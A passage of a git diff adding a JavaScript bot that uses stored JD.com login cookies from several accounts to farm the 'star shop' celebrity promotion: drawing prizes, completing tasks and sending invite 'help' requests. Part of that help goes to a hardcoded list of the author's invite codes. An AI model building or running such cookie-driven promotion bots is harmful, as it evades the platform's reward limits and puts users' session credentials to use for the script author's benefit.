if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_star_shop.js b/Task/jd_star_shop.js
new file mode 100644
index 0000000..4b336b0
--- /dev/null
+++ b/Task/jd_star_shop.js
@@ -0,0 +1,729 @@
+/*
+* author:star
+* */
+/*
+明星小店(星店长)
+助力逻辑:每个ck随机获取一个明星,然后会先内部助力,然后再助力内置助力码
+抽奖:是否中奖没判断,需自行查看
+更新时间:2021-06-06
+脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js
+=================================Quantumultx=========================
+[task_local]
+#明星小店
+0 1,21 * * * jd_star_shop.js, tag=明星小店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+=================================Loon===================================
+[Script]
+cron "0 1,21 * * *" script-path=jd_star_shop.js,tag=明星小店
+
+===================================Surge================================
+明星小店 = type=cron,cronexp="0 1,21 * * *",wake-system=1,timeout=3600,script-path=jd_star_shop.js
+
+====================================小火箭=============================
+明星小店 = type=cron,script-path=jd_star_shop.js, cronexpr="0 1,21 * * *", timeout=3600, enable=true
+ */
+
+const $ = new Env('明星小店');
+const notify = $.isNode() ? require('./sendNotify') : '';
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+$.inviteCodeList = [];
+$.authorCodeList = [
+ 'rQI0TkBIzVwHI4fxBQnt6v0doiabNQfNdJglrUVhOP0','Rcl-dpjMZKyZUzie7lg4ow','lqU3wfq2eBw8N6pRbRBGHg','xsK-EVpDVVszF0j95pGD6g','ujizzb0mcJlnHxWODghdng','WWrct3DS6bVAZi_bxreGMIjWj0dbM-h3TRi8V-tidUU','GjWZjC07q0sWv-yzz5wp7A', 'hwm7S-8XHxl5Mpx4rzdPiBOa77Iohk-EgLxyNxi_FdE','3utidIhY2dRDe2mK6T_5G7yh_gGf1xD4vLB_05gZbw4',"0HZjTH3-lWv0qE6mCTvxas01pClGraCVZ1R-ECaEopk","oJ0Rt_cD3HfbYHOD03zHx7fs6lLGnz46irJmHUlaHaA","q27OvSQ2l66rl_t3LlXiVC9P7ql72fjBn2SatEF21DI","bPpQ7CNQkW423nK1kAq46Q","_k4tqw3KlELJH9XxQO5CrA", 'XkpuXLAvubVHX1_5cgppVA','GYv6SLEM1HE774Oiszj3hJbzz_B9k-Nh-4lrWMylsG8',"ryxvI98ll30Z-xEjQ0ZJI_Ka5LFc42WG0se5j1ybSU0","Y6Ruk4dN_x80II8Z4Awn8A","TIKBjQZhOnpCSlNhNxmP-Q","ipJvkexxbJL697gYl2ARdFVE8g4_QnmLbVGQyfXqejo","cEeoaZymvpPvgZsoyrl4BE49ZX_imzxmCrvKHer5LjY", 'nhIeMSk2UO5fhA0PGLTw3j151Q5TP8LOnxNdkyUCmMk','OB_OCfnuZze9If-n96DCsXt8Zdz3_0X0y2IZLo_V_n4', "BAHTiQ8Nq3G3G6pNnwGeQC3trj2aBNyqM3hYs1n4-fY","3g0oim_8GwLqjbT_zh4cvG_DjGwx8dpU2ncgE1MHr6c","9GuvyBEGOaOt8OBOtCW0OQ","22M7P1iwXb2UxYtcZDrmnqcPeQbAwO5HLvg51tB6qpk","A_4ku8sHjGxvkUgxP3_i_Q","mwS23EsQnjj-mViVqYPlFgtPhKsisKarv3GKZKC0n38","WxUkszrzV_sgvHgfjeOazA","qXBK2YHoFjuNubhbXrXn2g","uY2YOhgwbc2OUUXS0antEQ","q9Ywm-xZ14F1DXfV5I51OQ","fbgxyM40fG86ZcA7DLJjNw","6JiDdfsOOnrfPKGPcWR4RQ","UBIG8bGwOdw6ctKJ1Rrbmg_nv42Am9DJrcdJYIjZqzk","MGBsMlJDZt9HqrRvsyqCiw","IJdg-7-cC16Ml7on84Wgsg",
+ 'r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY', 'Mve7TKmP8UKnC9IULuBrQHzgY54j_0U5BLm5Ox6aigY',
+];
+let cookiesArr = [];
+let uniqueIdList = [
+ {'id':'HY4HCW','name':'陈坤'},{'id':'KDDAR9','name':'徐凯'},{'id':'UN2SU2','name':'赵雷'},
+ {'id':'637BQA','name':'成毅'},{'id':'XLDYRJ','name':'白宇'},{'id':'94FEDQ','name':'任嘉伦'},{'id':'GN949D','name':'刘宇宁'},{'id':'WG73ME','name':'李光洁'},{'id':'5JFCD6','name':'李纹翰'},
+ {'id':'YCDXNN','name':'蔡徐坤'},{'id':'CX522V','name':'邓伦'},{'id':'877JM4','name':'张哲瀚'},{'id':'D22Q7C','name':'孟美岐'},{'id':'K6DARX','name':'龚俊'},{'id':'2SFR44','name':'白茶'},
+ {'id':'S99D9G','name':'刘浩存'},{'id':'ET5F23','name':'吴尊'},{'id':'TXU6GB','name':'刘雨欣'},{'id':'FBFN48','name':'李宇春'},{'id':'UK2SUY','name':'虞书欣'},{'id':'VS4PEM','name':'热依扎'},
+ {'id':'QE9757','name':'黄弈'},{'id':'2PFR4L','name':'张云龙'},{'id':'4A2M7K','name':'张伯芝'},{'id':'J8UWSP','name':'戚薇'},{'id':'3FU8S5','name':'周柯宇'},{'id':'P94VEU','name':'林志玲'},
+ {'id':'LW4LCK','name':'田鸿杰'},{'id':'MW9U5Z','name':'吴宇恒'},{'id':'AVDKNT','name':'张嘉倪'},{'id':'3PU8SZ','name':'阿云嘎'},{'id':'ZQ7TQR','name':'马家辉'}, {'id':'VZ4PEY','name':'翟潇闻'},
+ {'id':'ZH7TQ6','name':'李一桐'},{'id':'4C2M75','name':'张馨予'},{'id':'E55F2M','name':'雷米'},{'id':'M79U5N','name':'无穷小亮'},{'id':'762GUB','name':'刘昊然'},{'id':'8K7JM3','name':'止庵'},
+ {'id':'LQ4LCS','name':'倪妮'},{'id':'YTDXNL','name':'宫殿君'},{'id':'5RFCD9','name':'王菲菲'},
+];
+$.shopId = '94FEDQ';
+$.tokenId = 'jd6df03bd53f0f292f';
+$.xdzHelpCodeList = [];
+/**奖品只有优惠券,不做他们家的任务
+ *{'id':'TRU6GG','name':'王一博'}
+ *{'id':'ND55FR','name':'刘诗诗'}
+ * */
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ });
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [
+ $.getdata("CookieJD"),
+ $.getdata("CookieJD2"),
+ ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item);
+}
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ console.log('明星小店(星店长)\n' +
+ '助力逻辑:每个ck随机获取一个明星,然后会先内部助力,然后再助力内置助力码\n' +
+ '抽奖:是否中奖没判断,需自行查看\n' +
+ '更新时间:2021-06-06\n');
+
+ // console.log(`==================开始执行星店长任务==================`);
+ // for (let i = 0; i < cookiesArr.length; i++) {
+ // $.index = i + 1;
+ // $.cookie = cookiesArr[i];
+ // $.isLogin = true;
+ // $.nickName = '';
+ // await TotalBean();
+ // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ // console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`);
+ // if (!$.isLogin) {
+ // $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ //
+ // if ($.isNode()) {
+ // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ // }
+ // continue
+ // }
+ // await xdz();
+ // }
+ // console.log(`开始执行星店长助力\n`);
+ // if(cookiesArr.length > 1 && $.xdzHelpCodeList.length > 0){
+ // if($.xdzHelpCodeList.length > 1){
+ // $.xdzHelpCodeList.push($.xdzHelpCodeList.shift());
+ // }
+ // for (let i = 0; i < cookiesArr.length; i++) {
+ // $.cookie = cookiesArr[i];
+ // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ // $.helpCode = $.xdzHelpCodeList[i];
+ // console.log(`${$.UserName},去助力${$.helpCode}`);
+ // await help();
+ // await $.wait(2000);
+ // if($.xdzHelpCodeList[i+1]){
+ // $.helpCode = $.xdzHelpCodeList[i+1];
+ // console.log(`${$.UserName},去助力${$.helpCode}`);
+ // await help();
+ // await $.wait(2000);
+ // }else{
+ // $.helpCode = $.xdzHelpCodeList[0];
+ // console.log(`${$.UserName},去助力${$.helpCode}`);
+ // await help();
+ // await $.wait(2000);
+ // }
+ // }
+ // }
+ // console.log(`==================星店长任务执行完毕==================\n`);
+ console.log(`==================开始执行明星小店任务==================`);
+ for (let i = 0; i < cookiesArr.length; i++) {
+ $.index = i + 1;
+ $.cookie = cookiesArr[i];
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await main();
+ }
+ $.inviteCodeList.push(...getRandomArrayElements($.authorCodeList, 5));
+ for (let i = 0; i < cookiesArr.length; i++) {
+ $.cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
+ let sar = Math.floor((Math.random() * uniqueIdList.length));
+ $.uniqueId = uniqueIdList[sar].id;
+ for (let k = 0; k < $.inviteCodeList.length; k++) {
+ $.oneCode = $.inviteCodeList[k];
+ console.log(`${$.UserName}去助力:${$.uniqueId} 活动,助力码:${$.oneCode}`);
+ await takePostRequest('help');
+ await $.wait(2000);
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function main() {
+ let sendMessage = '';
+ uniqueIdList = getRandomArrayElements(uniqueIdList, uniqueIdList.length);
+ console.log(`现共查询到${uniqueIdList.length}个明星小店\n`);
+ for (let j = 0; j < uniqueIdList.length; j++) {
+ try{
+ $.uniqueId = uniqueIdList[j].id;
+ $.helpCode = '';
+ console.log(`开始第${j + 1}个明星小店,ID:${$.uniqueId},明星:${uniqueIdList[j].name}`);
+ await starShop();
+ await $.wait(1000);
+ if (j === 0) {
+ console.log(`互助码:${$.helpCode}`);
+ $.inviteCodeList.push($.helpCode);
+ }
+ console.log(`\n`);
+ }catch (e) {
+ console.log(JSON.stringify(e.message));
+ }
+ }
+ console.log(`=============${$.UserName }:星店长奖励汇总================`);
+ await $.wait(1000);
+ $.rewards = [];
+ await getReward();
+ for (let i = 0; i < $.rewards.length; i++) {
+ if ($.rewards[i].prizeType === 1) {
+ console.log(`获得优惠券`);
+ } else if ($.rewards[i].prizeType === 6) {
+ console.log(`获得明星照片或者视频`);
+ } else if ($.rewards[i].prizeType === 5) {
+ if(!$.rewards[i].fillReceiverFlag){
+ console.log(`获得实物:${$.rewards[i].prizeDesc || ''},未填写地址`);
+ sendMessage += `【京东账号${$.index}】${$.UserName },获得实物:${$.rewards[i].prizeDesc || '' }\n`;
+ }else{
+ console.log(`获得实物:${$.rewards[i].prizeDesc || ''},已填写地址`);
+ }
+ } else if ($.rewards[i].prizeType === 10) {
+ console.log(`获得京豆`);
+ } else {
+ console.log(`获得其他:${$.rewards[i].prizeDesc || ''}`);
+ }
+ }
+ if(sendMessage){
+ sendMessage += `填写收货地址路径:\n京东首页,搜索明星(蔡徐坤),进入明星小店,我的礼物,填写收货地址`;
+ await notify.sendNotify(`星店长`, sendMessage);
+ }
+}
+
+async function xdz(){
+ // $.xdzInfo = {};
+ // await getXdzInfo();
+ // if(JSON.stringify($.xdzInfo) === '{}'){
+ // console.log(`获取活动数据为空`);
+ // return ;
+ // }
+ // $.xdzUseInfo = {};
+ // await getXdzUseInfo();
+ // if(JSON.stringify($.xdzUseInfo) === '{}'){
+ // console.log(`获取用户数据为空`);
+ // return ;
+ // }
+ // let tasksList = $.xdzUseInfo.tasks;
+ // for (let i = 0; i < tasksList.length; i++) {
+ // $.oneTask = tasksList[i];
+ // if($.oneTask.status !== 1){
+ // continue;
+ // }
+ // if($.oneTask.taskType !== '22' && $.oneTask.taskType !== '6'){
+ // console.log(`执行任务:${$.oneTask.taskName}`);
+ // let subItem = $.oneTask.subItem;
+ // for (let j = 0; j < subItem.length; j++) {
+ // $.subItemInfo = subItem[j];
+ // if(!$.subItemInfo.itemToken && $.subItemInfo.status !==1 ){
+ // continue;
+ // }
+ // await doXdzTask();
+ // await $.wait(2000);
+ // }
+ // }else if($.oneTask.taskType === '6'){
+ // if($.oneTask.subItem && $.oneTask.subItem.length>0 && $.oneTask.times === 0){
+ // $.xdzHelpCodeList.push($.oneTask.subItem[0].itemToken);
+ // console.log(`助力码:${$.oneTask.subItem[0].itemToken}`);
+ // }
+ // }
+ // }
+ // let awardVoList = $.xdzInfo.awardVoList;
+ // for (let i = 0; i < awardVoList.length; i++) {
+ // $.oneAwardInfo = awardVoList[i];
+ // if($.oneAwardInfo.status === 1 && $.oneAwardInfo.grade === 1){
+ // console.log(`执行抽奖`);
+ // drawAward();
+ // await $.wait(2000);
+ // }
+ // }
+
+ console.log(`执行瓜分`);
+ await guafen();
+ await $.wait(2000);
+}
+async function guafen(){
+ let a = (new Date()).Format("yyyy-MM-ddThh:mm:ss.SZ");
+ console.log(a);
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22nowTime%22:%22${a}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_getRedPacketAward&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ console.log(data);
+ data = JSON.parse(data);
+ if(data.retCode === '200'){
+ console.log(`瓜分获得:${data.result.quota}`);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+Date.prototype.Format = function (fmt) { //author: meizz
+ var o = {
+ "M+": this.getUTCMonth() + 1, //月份
+ "d+": this.getUTCDate(), //日
+ "h+": this.getUTCHours(), //小时
+ "m+": this.getUTCMinutes(), //分
+ "s+": this.getUTCSeconds(), //秒
+ "q+": Math.floor((this.getUTCMonth() + 3) / 3), //季度
+ "S": this.getUTCMilliseconds() //毫秒
+ };
+ if (/(y+)/.test(fmt))
+ fmt = fmt.replace(RegExp.$1, (this.getUTCFullYear() + "").substr(4 - RegExp.$1.length));
+ for (var k in o)
+ if (new RegExp("(" + k + ")").test(fmt))
+ fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
+ return fmt;
+}
+async function help(){
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22itemToken%22:%22${$.helpCode}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_doTask&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ console.log(`助力结果`);
+ console.log(data);
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+
+async function drawAward(){
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_drawAward&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ console.log(`抽奖结果`);
+ console.log(data);
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function doXdzTask(){
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22itemToken%22:%22${$.subItemInfo.itemToken}%22,%22token%22:%22${$.tokenId}%22%7D&appid=xdz&functionId=mcxhd_starmall_doTask&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ console.log(`任务完成,获得星力值:${data.result.score}`);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function getXdzUseInfo(){
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId }%22%7D&appid=xdz&functionId=mcxhd_starmall_taskList&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ $.xdzUseInfo = data.result;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function getXdzInfo(){
+ const url = `https://api.m.jd.com/?body=%7B%22shopId%22:%22${$.shopId}%22,%22token%22:%22${$.tokenId }%22%7D&appid=xdz&functionId=mcxhd_starmall_getStarShopPage&t=${Date.now()}&loginWQBiz=`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://h5.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/3Vuj8Uw26NEDNRjaT2uspf2pphK/index.html`,
+ 'Content-Type':`application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Host': `api.m.jd.com`,
+ };
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ $.xdzInfo = data.result;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function getReward() {
+ const url = `https://api.m.jd.com/?functionId=activityStarBackGetRewardList&body={%22linkId%22:%22Y2aqxng42hZ0eGxGtbCMiQ%22}&_t=${Date.now()}&appid=activities_platform`;
+ const method = `GET`;
+ const headers = {
+ 'Origin': `https://prodev.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Connection': `keep-alive`,
+ 'Accept': `application/json, text/plain, */*`,
+ 'Referer': `https://prodev.m.jd.com/mall/active/7s5TYVpp8dKXF4FrDqe55H8esSV/index.html`,
+ 'Host': `api.m.jd.com`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`
+ };
+
+ const myRequest = {url: url, method: method, headers: headers,};
+ return new Promise(async resolve => {
+ $.get(myRequest, (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ $.rewards = data.data;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function starShop() {
+ $.info = {};
+ await takePostRequest('activityStarBackGetProgressBarInfo');
+ if (JSON.stringify($.info) === '{}') {
+ console.log(`获取活动失败,ID:${$.uniqueId}`);
+ }
+ let prize = $.info.prize;
+ let runFlag = false;
+ for (let i = 1; i < 5; i++) {
+ $.onePrize = prize[i];
+ if ($.onePrize.state === 1) {
+ console.log(`去抽奖,奖品为:${$.onePrize.name}`);
+ await takePostRequest('activityStarBackDrawPrize');
+ await $.wait(2000);
+ } else if ($.onePrize.state === 0) {
+ runFlag = true;
+ }
+ }
+ if (!runFlag) {
+ console.log(`该明星小店已完成所有抽奖`);
+ return;
+ }
+ $.taskList = [];
+ await takePostRequest('apTaskList');
+ await $.wait(2000);
+ for (let i = 0; i < $.taskList.length; i++) {
+ $.oneTask = $.taskList[i];
+ if ($.oneTask.taskFinished) {
+ console.log(`任务:${$.oneTask.taskTitle},已完成`);
+ continue;
+ }
+ if ($.oneTask.taskType === 'SHARE_INVITE') {
+ continue;
+ }
+ console.log(`去做任务:${$.oneTask.taskTitle}`);
+ if ($.oneTask.taskType === 'SIGN') {
+ await takePostRequest('SIGN');
+ await $.wait(2000);
+ } else if ($.oneTask.taskType === 'BROWSE_CHANNEL' || $.oneTask.taskType === 'FOLLOW_SHOP') {
+ $.taskDetail = {};
+ $.taskItemList = [];
+ await takePostRequest('apTaskDetail');
+ $.taskItemList = $.taskDetail.taskItemList || [];
+ for (let j = 0; j < $.taskItemList.length; j++) {
+ $.oneItemInfo = $.taskItemList[j];
+ console.log(`浏览:${$.oneItemInfo.itemName}`);
+ await takePostRequest('apDoTask');
+ await $.wait(2000);
+ }
+
+ }
+ }
+}
+
